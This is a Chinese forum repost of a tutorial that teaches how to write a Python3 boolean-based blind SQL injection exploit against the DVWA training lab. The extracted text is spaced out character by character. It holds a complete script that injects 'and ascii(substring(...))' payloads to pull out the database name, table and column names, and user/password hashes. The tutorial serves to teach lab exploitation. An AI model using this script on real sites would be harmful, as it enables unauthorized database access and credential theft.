搜索

[26712] 2021-04-07_编写SQLInjection(Blind)布尔型盲注入exp

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-19
2021-04-07_编写SQLInjection(Blind)布尔型盲注入exp 1 2 编 写 S Q L   I n j e c t i o n   ( B l i n d )   布 尔 型 盲 注 入 e x p 原 创   m o o n s e c   m o o n s e c   2 0 2 1 - 0 4 - 0 7 收 录 于 话 题   # 编 写 E X P   , 4 个 p y t h o n 3 编 写 编 写 E X P 系 列 系 列 编 写 编 写 S Q L   I n j e c t i o n   ( B l i n d )   布 尔 型 盲 注 入 布 尔 型 盲 注 入 e x p 简 单 介 绍 D V W A 靶 场 这 个 是 最 基 础 的 靶 场 如 果 想 学 习 E X P 编 写 这 个 靶 场 最 好 不 过 ， 如 果 能 把 这 个 靶 场 的 利 用 的 E X P 用 p y t h o n 3 编 写 出 来 这 样 算 是 合 格 的 e x p 入 门 选 手 了 。 h t t p s : / / g i t h u b . c o m / d i g i n i n j a / D V W A 这 个 系 列 的 第 四 篇 内 容 这 里 会 学 习 到 如 何 通 过 布 尔 型 注 入 ， 获 取 账 号 和 密 码 。 盲 注 入 盲 注 就 是 在 s q l 注 入 过 程 中 ， s q l 语 句 执 行 的 选 择 后 ， 选 择 的 数 据 不 能 回 显 到 前 端 页 面 。 此 时 ， 我 们 需 要 利 用 一 些 方 法 进 行 判 断 或 者 尝 试 ， 这 个 过 程 称 之 为 盲 注 。 盲 注 的 方 法 分 布 有 布 尔 型 注 入   t i m e 注 入 ， 今 天 先 来 介 绍 布 尔 型 注 入 将 d v w a 等 级 设 置 l o w 的 时 候 访 问 页 面 只 是 简 单 判 断 i d 是 不 是 存 在 。 h t t p : / / w w w . d v w a . c o m / v u l n e r a b i l i t i e s / s q l i _ b l i n d / ? i d = 1 & S u b m i t = S u b m i t #
3 通 过 传 入 的 i d 判 断 返 回 不 同 的 信 息 如 果 i d 的 值 存 在 返 回 e x i s t s   。 e x p 原 理 编 写 e x p 的 方 法 获 取 查 询 查 询 内 容 的 长 度   再 用 字 符 的 a s c i i 辩 能 力 匹 配 猜 解   如 果 匹 配 成 功   页 面 存 在 e x i s t s 即 为 准 确 的 字 符 。 接 着 将 正 确 的 字 符 进 行 累 加 直 到 退 出 ， 最 后 即 为 最 终 的 要 查 询 的 内 容 。 源 码 # c o d i n g : u t f 8 i m p o r t   r e q u e s t s i m p o r t   t i m e u r l = " h t t p : / / w w w . d v w a . c o m / v u l n e r a b i l i t i e s / s q l i _ b l i n d / ? i d = 1 " c o o k i e s   = { " P H P S E S S I D " : " c m p f q e 7 l d m d m 0 5 m m a g p k t q a c o 4 " , " s e c u r i t y " : " l o w " } d b n a m e = " d a t a b a s e ( ) " u s e r = " u s e r ( ) " p a s s w o r d = " ( s e l e c t   c o n c a t ( u s e r , p a s s w o r d )   f r o m   u s e r s   l i m i t   1 ) " t a b l e s = " ( s e l e c t   g r o u p _ c o n c a t ( T A B L E _ N A M E )   f r o m   i n f o r m a t i o n _ s c h e m a . T A B L E S   w h e r e   T A B L E _ S C H E M A = d a t a b a s e ( )   l i m i t   1 ) " c o l u m n s = " ( s e l e c t   g r o u p _ c o n c a t ( C O L U M N _ N A M E )   f r o m   i n f o r m a t i o n _ s c h e m a . C O L U M N S   w h e r e   T A B L E _ N A M E = 0 x 7 5 7 3 6 5 7 2 7 3   l i m i t   1 ) " d e f   g e t _ l e n t h ( s q l ) :         n = 1         w h i l e   T r u e :                 r e q = r e q u e s t s . g e t ( u r l = u r l + " ' a n d   l e n g t h ( { } ) = { } - - % 2 0 & S u b m i t = S u b m i t # " . f o r m a t ( s q l , n ) , c o o k i e s = c o o k i e s )                 i f   ' e x i s t s '   i n   r e q . t e x t :                         b r e a k                 n = n + 1         r e t u r n   n d e f   g e t _ d a t a ( s q l ) :         p a y l o a d   =   ' 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z . @ _ '         p a s s w d = ' '
4 运 行 图 关 注 本 公 众 号 不 定 期 更 新 文 章 和 和 视 频   欢 迎 长 期 关 注         f o r   i   i n   r a n g e ( 1 , g e t _ l e n t h ( s q l ) + 1 ) :                 f o r   p   i n   p a y l o a d :                         t u r l = u r l + " ' + a n d + a s c i i ( s u b s t r i n g ( { } , { } , 1 ) ) = { } - - % 2 0 & S u b m i t = S u b m i t # " . f o r m a t ( s q l , i , o r d ( p ) )                         r e q   =   r e q u e s t s . g e t ( u r l = t u r l ,   c o o k i e s = c o o k i e s )                         i f   ' e x i s t s '   i n   r e q . t e x t :                                 p a s s w d + = p                                 p r i n t ( " [ + ] 正 在 出 数 据 [ * ] " + p a s s w d )                                 b r e a k         r e t u r n   p a s s w d p r i n t ( " [ * ] 数 据 库 名 ： % s   [ * ] "   %   g e t _ d a t a ( d b n a m e ) ) p r i n t ( " [ * ] 全 部 表 名 ： % s   [ * ] "   %   g e t _ d a t a ( t a b l e s ) ) p r i n t ( " [ * ] 指 定 表 的 字 段 ： % s   [ * ] "   %   g e t _ d a t a ( c o l u m n s ) ) p r i n t ( " [ * ] 账 号 和 密 码 ： % s   [ * ] "   %   g e t _ d a t a ( p a s s w o r d ) )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理